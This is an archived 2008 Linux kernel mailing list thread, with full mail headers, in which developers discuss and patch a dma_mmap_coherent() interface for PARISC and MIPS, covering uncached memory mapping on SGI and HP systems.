	<s5hfxoynyn4.wl%tiwai@suse.de>
	<20080821214118.GA12516@alpha.franken.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka")
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1219385277 16330 80.91.229.12 (22 Aug 2008 06:07:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 22 Aug 2008 06:07:57 +0000 (UTC)
Cc: ralf@linux-mips.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-mips@linux-mips.org,
	Parisc List <linux-parisc@vger.kernel.org>
To: tsbogend@alpha.franken.de (Thomas Bogendoerfer)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 22 08:08:50 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KWPpH-0000Rg-Jz
	for glpp-linux-parisc@gmane.org; Fri, 22 Aug 2008 08:08:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752773AbYHVGHr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 22 Aug 2008 02:07:47 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752776AbYHVGHr
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 22 Aug 2008 02:07:47 -0400
Original-Received: from mail.suse.de ([195.135.220.2]:43674 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752773AbYHVGHq (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 22 Aug 2008 02:07:46 -0400
Original-Received: from Relay2.suse.de (mail2.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id 16069418C7;
	Fri, 22 Aug 2008 08:07:45 +0200 (CEST)
In-Reply-To: <20080821214118.GA12516@alpha.franken.de>
User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka)
 FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/22.2
 (x86_64-suse-linux-gnu) MULE/5.0 (SAKAKI)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:642 gmane.linux.ports.mips.general:21350
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/642>

At Thu, 21 Aug 2008 23:41:18 +0200,
Thomas Bogendoerfer wrote:
> 
> On Thu, Aug 21, 2008 at 06:03:43PM +0200, Takashi Iwai wrote:
> > > Thanks for clarification.
> > > How about the revised patch below (for PARISC)?
> 
> the PARISC part will not work for 735 systems, because the CPU can't
> map memory uncached, iirc. 
> 
> > ... and the below is for MIPS.
> 
> for most MIPS system you need the same trick as for PARISC and use 
> uncached memory. But there are systems, which can't use uncached
> memory. 
> 
> One of the is SGI IP28, which needs to be switched to a special
> slower mode for uncached accesses, which we avoid completly in the
> kernel right now and I don't think making the switch to slow mode
> possible in user space is a good idea.
> 
> SGI Origin 200/2000, SGI Onyx and some Challenge Systems have a
> different problem:
> 
> "Uncached Memory Access in SGI Origin 2000 and in Challenge and Onyx Series
> 
>     Access to uncached memory is not supported in these systems, in which
>     cache coherency is maintained by the hardware, even under access from
>     CPUs and concurrent DMA.  There is never a need (and no approved way)
>     to access uncached memory in these systems."
> 
> That's from the IRIX Device Driver guide.
> 
> Right now I can't think of a solutin, which works on every MIPS system.

Thanks for detailed information.
I don't think that this must work for *every* platform, too, and it's
not expected from the driver.  The systems without uncached memory
access can simply return an error from  dma_mmap_coherent() call, so
that the driver can disable the mmap.  That'd be enough.

The current problem is that such an architecture / platform specific
thing isn't exposed at all.  If the driver suppose that mmap would
work as if normal pages, then it results in a crash.
The dma_mmap_coherent() can hide ugliness inside the arch code, and
also can give you an error if unmappable, at least.

Now, how to handle these exceptions: a question comes into my mind
again -- how does the framebuffer handle these as well?
Any pointer appreciated.


Thanks!

Takashi
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tsbogend@alpha.franken.de (Thomas Bogendoerfer)
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general
Subject: Re: [PATCH] mips: Add dma_mmap_coherent()
Date: Fri, 22 Aug 2008 11:41:31 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <20080822094131.GA6717@alpha.franken.de>
References: <s5hk5eezcfe.wl%tiwai@suse.de> <1219249633.3258.18.camel@localhost.localdomain> <s5hzln7vd9d.wl%tiwai@suse.de> <1219255088.3258.45.camel@localhost.localdomain> <s5hr68ivfer.wl%tiwai@suse.de> <1219326912.3265.2.camel@localhost.localdomain> <s5hhc9enyqa.wl%tiwai@suse.de> <s5hfxoynyn4.wl%tiwai@suse.de> <20080821214118.GA12516@alpha.franken.de> <s5hbpzl8tvz.wl%tiwai@suse.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1219398140 24420 80.91.229.12 (22 Aug 2008 09:42:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 22 Aug 2008 09:42:20 +0000 (UTC)
Cc: ralf@linux-mips.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-mips@linux-mips.org,
	Parisc List <linux-parisc@vger.kernel.org>
To: Takashi Iwai <tiwai@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 22 11:43:13 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KWTAj-0006Qh-LF
	for glpp-linux-parisc@gmane.org; Fri, 22 Aug 2008 11:43:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753261AbYHVJmJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 22 Aug 2008 05:42:09 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753553AbYHVJmJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 22 Aug 2008 05:42:09 -0400
Original-Received: from elvis.franken.de ([193.175.24.41]:57587 "EHLO elvis.franken.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753261AbYHVJmH (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 22 Aug 2008 05:42:07 -0400
Original-Received: from uucp (helo=solo.franken.de)
	by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
	id 1KWT9h-0005yg-00; Fri, 22 Aug 2008 11:42:05 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id 52C12C3F15; Fri, 22 Aug 2008 11:41:31 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <s5hbpzl8tvz.wl%tiwai@suse.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:643 gmane.linux.ports.mips.general:21353
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/643>

On Fri, Aug 22, 2008 at 08:07:44AM +0200, Takashi Iwai wrote:
> I don't think that this must work for *every* platform, too, and it's
> not expected from the driver.  The systems without uncached memory
> access can simply return an error from  dma_mmap_coherent() call, so
> that the driver can disable the mmap.  That'd be enough.

true, I've used snd_pcm_indirect for HAL2 driver, which works even on
SGI IP28 machines.

> Now, how to handle these exceptions: a question comes into my mind
> again -- how does the framebuffer handle these as well?

most framebuffers have a dedicated set of video memory and this memory is
just mmaped uncached either via TLB/MMU (MIPS) or rules inside
the system (PARISC uses IO space memory, which is always uncached). 
The code which does this mmaping is in drivers/video/fbmem.c plus
fb_pgprotect out of an include/asm header file. 

For framebuffers without dedicated video memory the memory is mmaped
write through or uncached. A driver, which uses this, is 
drivers/video/gbefb.c.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                                [ RFC1925, 2.3 ]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Takashi Iwai <tiwai@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general
Subject: Re: [PATCH] mips: Add dma_mmap_coherent()
Date: Fri, 22 Aug 2008 12:23:48 +0200
Lines: 62
Approved: news@gmane.org
Message-ID: <s5h7ia9nya3.wl%tiwai@suse.de>
References: <s5hk5eezcfe.wl%tiwai@suse.de>
	<1219249633.3258.18.camel@localhost.localdomain>
	<s5hzln7vd9d.wl%tiwai@suse.de>
	<1219255088.3258.45.camel@localhost.localdomain>
	<s5hr68ivfer.wl%tiwai@suse.de>
	<1219326912.3265.2.camel@localhost.localdomain>
	<s5hhc9enyqa.wl%tiwai@suse.de>
	<s5hfxoynyn4.wl%tiwai@suse.de>
	<20080821214118.GA12516@alpha.franken.de>
	<s5hbpzl8tvz.wl%tiwai@suse.de>
	<20080822094131.GA6717@alpha.franken.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka")
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1219400649 342 80.91.229.12 (22 Aug 2008 10:24:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 22 Aug 2008 10:24:09 +0000 (UTC)
Cc: ralf@linux-mips.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-mips@linux-mips.org,
	Parisc List <linux-parisc@vger.kernel.org>
To: tsbogend@alpha.franken.de (Thomas Bogendoerfer)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 22 12:25:02 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KWTp6-00029N-3G
	for glpp-linux-parisc@gmane.org; Fri, 22 Aug 2008 12:24:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753800AbYHVKXw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 22 Aug 2008 06:23:52 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754225AbYHVKXv
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 22 Aug 2008 06:23:51 -0400
Original-Received: from ns2.suse.de ([195.135.220.15]:48262 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753800AbYHVKXv (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 22 Aug 2008 06:23:51 -0400
Original-Received: from Relay1.suse.de (relay-ext.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx2.suse.de (Postfix) with ESMTP id 225F946094;
	Fri, 22 Aug 2008 12:23:49 +0200 (CEST)
In-Reply-To: <20080822094131.GA6717@alpha.franken.de>
User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka)
 FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/22.2
 (x86_64-suse-linux-gnu) MULE/5.0 (SAKAKI)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:644 gmane.linux.ports.mips.general:21354
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/644>

At Fri, 22 Aug 2008 11:41:31 +0200,
Thomas Bogendoerfer wrote:
> 
> On Fri, Aug 22, 2008 at 08:07:44AM +0200, Takashi Iwai wrote:
> > I don't think that this must work for *every* platform, too, and it's
> > not expected from the driver.  The systems without uncached memory
> > access can simply return an error from  dma_mmap_coherent() call, so
> > that the driver can disable the mmap.  That'd be enough.
> 
> true, I've used snd_pcm_indirect for HAL2 driver, which works even on
> SGI IP28 machines.
> 
> > Now, how to handle these exceptions: a question comes into my mind
> > again -- how does the framebuffer handle these as well?
> 
> most framebuffers have a dedicated set of video memory and this memory is
> just mmaped uncached either via TLB/MMU (MIPS) or rules inside
> the system (PARISC uses IO space memory, which is always uncached). 
> The code which does this mmaping is in drivers/video/fbmem.c plus
> fb_pgprotect out of an include/asm header file. 

Thanks.  These are the files I already looked at, and pgprot fiddling
is already in my last patches (and apparently they not enough).

> For framebuffers without dedicated video memory the memory is mmaped
> write through or uncached. A driver, which uses this, is 
> drivers/video/gbefb.c.

So, adding a code like below to dma_mmap_coherent() for MIPS?

static inline pgprot_t pgprot_mmap(pgprot_t _prot)
{
	unsigned long prot = pgprot_val(_prot) & ~_CACHE_MASK;
#ifdef CONFIG_SGI_IP32
#ifdef CONFIG_CPU_R10000
	prot = prot | _CACHE_UNCACHED_ACCELERATED;
#else
	prot = prot | _CACHE_CACHABLE_NO_WA;
#endif
#else
	prot = prot | _CACHE_UNCACHED;
#endif
	return __pgprot(prot);
}

dma_mmap_coherent()
{
	...
	vma->vm_page_prot = pgprot_mmap(vma->vm_page_prot);
	...
	remap_pfn_range(...);
}


thanks,

Takashi
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general
Subject: Re: [PATCH] mips: Add dma_mmap_coherent()
Date: Fri, 22 Aug 2008 13:04:36 +0100
Lines: 271
Approved: news@gmane.org
Message-ID: <K6047O$07C3A675C0E02FC7BE973C0D5DEF9AAA@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="_=__=_XaM3_.1219406676.2A.885565.42.15885.52.42.007.184490982"
X-Trace: ger.gmane.org 1219406701 21162 80.91.229.12 (22 Aug 2008 12:05:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 22 Aug 2008 12:05:01 +0000 (UTC)
Cc: "James\.Bottomley" <James.Bottomley@HansenPartnership.com>,
	"linux-mips" <linux-mips@linux-mips.org>,
	"ralf" <ralf@linux-mips.org>,
	"linux-parisc" <linux-parisc@vger.kernel.org>
To: "tiwai" <tiwai@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 22 14:05:53 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KWVOq-0003GZ-Ka
	for glpp-linux-parisc@gmane.org; Fri, 22 Aug 2008 14:05:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752971AbYHVMEo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 22 Aug 2008 08:04:44 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753114AbYHVMEo
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 22 Aug 2008 08:04:44 -0400
Original-Received: from eir.is.scarlet.be ([193.74.71.27]:35387 "EHLO eir.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752971AbYHVMEn (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 22 Aug 2008 08:04:43 -0400
Original-Received: from scarlet.be (taj.is.scarlet.be [193.74.71.42])
	by eir.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m7MC4aY7005427;
	Fri, 22 Aug 2008 14:04:36 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-DCC-scarlet.be-Metrics: eir; whitelist
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:645 gmane.linux.ports.mips.general:21356
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/645>

--_=__=_XaM3_.1219406676.2A.885565.42.15885.52.42.007.184490982
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

Hello Takashi et al.,

[snip]

> diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
> index b30e38f..dd2ab2c 100644
> --- a/drivers/parisc/ccio-dma.c
> +++ b/drivers/parisc/ccio-dma.c
> @@ -1014,6 +1014,19 @@ ccio_unmap_sg(struct device *dev, struct scatter=
list
*sglist, int nents,
>  	DBG_RUN_SG("%s() DONE (nents %d)\n", __func__, nents);
>  }
>  
> +static int ccio_dma_mmap_coherent(struct device *dev,
> +				  struct vm_area_struct *vma,
> +				  void *cpu_addr, dma_addr_t handle,
> +				  size_t size)
> +{
> +	struct page *pg;
> +	pgprot_val(vma->vm_page_prot) |=3D _PAGE_NO_CACHE;
> +	pg =3D virt_to_page(cpu_addr);
> +	return remap_pfn_range(vma, vma->vm_start,
> +			       page_to_pfn(pg) + vma->vm_pgoff,
> +			       size, vma->vm_page_prot);
> +}
> +
>  static struct hppa_dma_ops ccio_ops =3D {
>  	.dma_supported =3D	ccio_dma_supported,
>  	.alloc_consistent =3D	ccio_alloc_consistent,
> @@ -1027,6 +1040,7 @@ static struct hppa_dma_ops ccio_ops =3D {
>  	.dma_sync_single_for_device =3D	NULL,	/* NOP for U2/Uturn */
>  	.dma_sync_sg_for_cpu =3D		NULL,	/* ditto */
>  	.dma_sync_sg_for_device =3D		NULL,	/* ditto */
> +	.mmap_coherent =3D	ccio_dma_mmap_coherent,
>  };
>  
>  #ifdef CONFIG_PROC_FS
> diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
> index bc73b96..403d66d 100644
> --- a/drivers/parisc/sba_iommu.c
> +++ b/drivers/parisc/sba_iommu.c
> @@ -1057,6 +1057,19 @@ sba_unmap_sg(struct device *dev, struct scatterl=
ist
*sglist, int nents,
>  
>  }
>  
> +static int sba_dma_mmap_coherent(struct device *dev,
> +				 struct vm_area_struct *vma,
> +				 void *cpu_addr, dma_addr_t handle,
> +				 size_t size)
> +{
> +	struct page *pg;
> +	pgprot_val(vma->vm_page_prot) |=3D _PAGE_NO_CACHE;
> +	pg =3D virt_to_page(cpu_addr);
> +	return remap_pfn_range(vma, vma->vm_start,
> +			       page_to_pfn(pg) + vma->vm_pgoff,
> +			       size, vma->vm_page_prot);
> +}
> +
>  static struct hppa_dma_ops sba_ops =3D {
>  	.dma_supported =3D	sba_dma_supported,
>  	.alloc_consistent =3D	sba_alloc_consistent,
> @@ -1070,6 +1083,7 @@ static struct hppa_dma_ops sba_ops =3D {
>  	.dma_sync_single_for_device =3D	NULL,
>  	.dma_sync_sg_for_cpu =3D		NULL,
>  	.dma_sync_sg_for_device =3D	NULL,
> +	.mmap_coherent =3D	sba_dma_mmap_coherent,
>  };
> 
I build and boot successfully kernel 32bit including your patch on 2 syst=
ems
(a b2k using sba and a d380 using ccio).

I just noticed that the above code is ~ the same; otoh there is also a
iommu-helpers.h containing also common code to those 2 drivers. So may be=
 for
easiest maintenance, could you merge and move this code in this 'helper' =
as
follow:
--- ./drivers/parisc/iommu-helpers.h.Orig	2008-08-01 12:57:22.000000000 +=
0000
+++ ./drivers/parisc/iommu-helpers.h	2008-08-22 08:07:26.000000000 +0000
@@ -172,3 +172,16 @@
 	return n_mappings;
 }
 
+static int iommu_dma_mmap_coherent(struct device *dev,
+				  struct vm_area_struct *vma,
+				  void *cpu_addr, dma_addr_t handle,
+				  size_t size)
+{
+	struct page *pg;
+	pgprot_val(vma->vm_page_prot) |=3D _PAGE_NO_CACHE;
+	pg =3D virt_to_page(cpu_addr);
+	return remap_pfn_range(vma, vma->vm_start,
+			       page_to_pfn(pg) + vma->vm_pgoff,
+			       size, vma->vm_page_prot);
+}
+
--- ./drivers/parisc/ccio-dma.c.Orig	2008-08-22 07:49:21.000000000 +0000
+++ ./drivers/parisc/ccio-dma.c	2008-08-22 08:06:32.000000000 +0000
@@ -1005,19 +1005,6 @@
 	DBG_RUN_SG("%s() DONE (nents %d)\n", __func__, nents);
 }
 
-static int ccio_dma_mmap_coherent(struct device *dev,
-				  struct vm_area_struct *vma,
-				  void *cpu_addr, dma_addr_t handle,
-				  size_t size)
-{
-	struct page *pg;
-	pgprot_val(vma->vm_page_prot) |=3D _PAGE_NO_CACHE;
-	pg =3D virt_to_page(cpu_addr);
-	return remap_pfn_range(vma, vma->vm_start,
-			       page_to_pfn(pg) + vma->vm_pgoff,
-			       size, vma->vm_page_prot);
-}
-
 static struct hppa_dma_ops ccio_ops =3D {
 	.dma_supported =3D	ccio_dma_supported,
 	.alloc_consistent =3D	ccio_alloc_consistent,
@@ -1031,7 +1018,7 @@
 	.dma_sync_single_for_device =3D	NULL,	/* NOP for U2/Uturn */
 	.dma_sync_sg_for_cpu =3D		NULL,	/* ditto */
 	.dma_sync_sg_for_device =3D		NULL,	/* ditto */
-	.mmap_coherent =3D	ccio_dma_mmap_coherent,
+	.mmap_coherent =3D	iommu_dma_mmap_coherent,
 };
 
 #ifdef CONFIG_PROC_FS
--- ./drivers/parisc/sba_iommu.c.Orig	2008-08-22 07:49:21.000000000 +0000=

+++ ./drivers/parisc/sba_iommu.c	2008-08-22 08:08:30.000000000 +0000
@@ -1057,19 +1057,6 @@
 
 }
 
-static int sba_dma_mmap_coherent(struct device *dev,
-				 struct vm_area_struct *vma,
-				 void *cpu_addr, dma_addr_t handle,
-				 size_t size)
-{
-	struct page *pg;
-	pgprot_val(vma->vm_page_prot) |=3D _PAGE_NO_CACHE;
-	pg =3D virt_to_page(cpu_addr);
-	return remap_pfn_range(vma, vma->vm_start,
-			       page_to_pfn(pg) + vma->vm_pgoff,
-			       size, vma->vm_page_prot);
-}
-
 static struct hppa_dma_ops sba_ops =3D {
 	.dma_supported =3D	sba_dma_supported,
 	.alloc_consistent =3D	sba_alloc_consistent,
@@ -1083,7 +1070,7 @@
 	.dma_sync_single_for_device =3D	NULL,
 	.dma_sync_sg_for_cpu =3D		NULL,
 	.dma_sync_sg_for_device =3D	NULL,
-	.mmap_coherent =3D	sba_dma_mmap_coherent,
+	.mmap_coherent =3D	iommu_dma_mmap_coherent,
 };
 
 
=3D=3D=3D <> =3D=3D=3D  
>  
> diff --git a/include/asm-parisc/dma-mapping.h b/include/asm-parisc/dma-=
mapping.h
> index 53af696..5b357b3 100644
> --- a/include/asm-parisc/dma-mapping.h
> +++ b/include/asm-parisc/dma-mapping.h

The small issue encountered: against latest Kyle git tree (dated 2008-07-=
29)
this file was moved in arch/parisc/include/asm.

> @@ -19,6 +19,9 @@ struct hppa_dma_ops {
>  	void (*dma_sync_single_for_device)(struct device *dev, dma_addr_t iov=
a,
unsigned long offset, size_t size, enum dma_data_direction direction);
>  	void (*dma_sync_sg_for_cpu)(struct device *dev, struct scatterlist *s=
g,
int nelems, enum dma_data_direction direction);
>  	void (*dma_sync_sg_for_device)(struct device *dev, struct scatterlist=
 *sg,
int nelems, enum dma_data_direction direction);
> +	int (*mmap_coherent)(struct device *dev, struct vm_area_struct *vma,
> +			     void *cpu_addr, dma_addr_t handle, size_t size);
> +
>  };
>  
>  /*
> @@ -204,6 +207,15 @@ dma_cache_sync(struct device *dev, void *vaddr, si=
ze_t
size,
>  		flush_kernel_dcache_range((unsigned long)vaddr, size);
>  }
>  
> +static inline int
> +dma_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
> +		  void *cpu_addr, dma_addr_t handle, size_t size)
> +{
> +	if (!hppa_dma_ops->mmap_coherent)
> +		return -ENXIO;
> +	return hppa_dma_ops->mmap_coherent(dev, vma, cpu_addr, handle, size);=

> +}
> +
>  static inline void *
>  parisc_walk_tree(struct device *dev)
>  {

Tx,
    J.
=0A
--_=__=_XaM3_.1219406676.2A.885565.42.15885.52.42.007.184490982
Content-Type: text/plain;
	name="=?iso-8859-1?Q?TI2.txt?="
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="=?iso-8859-1?Q?TI2.txt?="

--- ./drivers/parisc/iommu-helpers.h.Orig	2008-08-01 12:57:22.000000000 +=
0000=0A+++ ./drivers/parisc/iommu-helpers.h	2008-08-22 08:07:26.000000000=
 +0000=0A@@ -172,3 +172,16 @@=0A 	return n_mappings;=0A }=0A =0A+static i=
nt iommu_dma_mmap_coherent(struct device *dev,=0A+				  struct vm_area_st=
ruct *vma,=0A+				  void *cpu_addr, dma_addr_t handle,=0A+				  size_t si=
ze)=0A+{=0A+	struct page *pg;=0A+	pgprot_val(vma->vm_page_prot) |=3D _PAG=
E_NO_CACHE;=0A+	pg =3D virt_to_page(cpu_addr);=0A+	return remap_pfn_range=
(vma, vma->vm_start,=0A+			       page_to_pfn(pg) + vma->vm_pgoff,=0A+			=
       size, vma->vm_page_prot);=0A+}=0A+=0A--- ./drivers/parisc/ccio-dma=
.c.Orig	2008-08-22 07:49:21.000000000 +0000=0A+++ ./drivers/parisc/ccio-d=
ma.c	2008-08-22 08:06:32.000000000 +0000=0A@@ -1005,19 +1005,6 @@=0A 	DBG=
_RUN_SG("%s() DONE (nents %d)\n", __func__, nents);=0A }=0A =0A-static in=
t ccio_dma_mmap_coherent(struct device *dev,=0A-				  struct vm_area_stru=
ct *vma,=0A-				  void *cpu_addr, dma_addr_t handle,=0A-				  size_t size=
)=0A-{=0A-	struct page *pg;=0A-	pgprot_val(vma->vm_page_prot) |=3D _PAGE_=
NO_CACHE;=0A-	pg =3D virt_to_page(cpu_addr);=0A-	return remap_pfn_range(v=
ma, vma->vm_start,=0A-			       page_to_pfn(pg) + vma->vm_pgoff,=0A-			  =
     size, vma->vm_page_prot);=0A-}=0A-=0A static struct hppa_dma_ops cci=
o_ops =3D {=0A 	.dma_supported =3D	ccio_dma_supported,=0A 	.alloc_consist=
ent =3D	ccio_alloc_consistent,=0A@@ -1031,7 +1018,7 @@=0A 	.dma_sync_sing=
le_for_device =3D	NULL,	/* NOP for U2/Uturn */=0A 	.dma_sync_sg_for_cpu =3D=
		NULL,	/* ditto */=0A 	.dma_sync_sg_for_device =3D		NULL,	/* ditto */=0A=
-	.mmap_coherent =3D	ccio_dma_mmap_coherent,=0A+	.mmap_coherent =3D	iommu=
_dma_mmap_coherent,=0A };=0A =0A #ifdef CONFIG_PROC_FS=0A--- ./drivers/pa=
risc/sba_iommu.c.Orig	2008-08-22 07:49:21.000000000 +0000=0A+++ ./drivers=
/parisc/sba_iommu.c	2008-08-22 08:08:30.000000000 +0000=0A@@ -1057,19 +10=
57,6 @@=0A =0A }=0A =0A-static int sba_dma_mmap_coherent(struct device *d=
ev,=0A-				 struct vm_area_struct *vma,=0A-				 void *cpu_addr, dma_addr_=
t handle,=0A-				 size_t size)=0A-{=0A-	struct page *pg;=0A-	pgprot_val(v=
ma->vm_page_prot) |=3D _PAGE_NO_CACHE;=0A-	pg =3D virt_to_page(cpu_addr);=
=0A-	return remap_pfn_range(vma, vma->vm_start,=0A-			       page_to_pfn(=
pg) + vma->vm_pgoff,=0A-			       size, vma->vm_page_prot);=0A-}=0A-=0A s=
tatic struct hppa_dma_ops sba_ops =3D {=0A 	.dma_supported =3D	sba_dma_su=
pported,=0A 	.alloc_consistent =3D	sba_alloc_consistent,=0A@@ -1083,7 +10=
70,7 @@=0A 	.dma_sync_single_for_device =3D	NULL,=0A 	.dma_sync_sg_for_cp=
u =3D		NULL,=0A 	.dma_sync_sg_for_device =3D	NULL,=0A-	.mmap_coherent =3D=
	sba_dma_mmap_coherent,=0A+	.mmap_coherent =3D	iommu_dma_mmap_coherent,=0A=
 };=0A =0A =0A
--_=__=_XaM3_.1219406676.2A.885565.42.15885.52.42.007.184490982--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re:[RFC] [PATCH] compat_sys_ptrace conversions for parisc
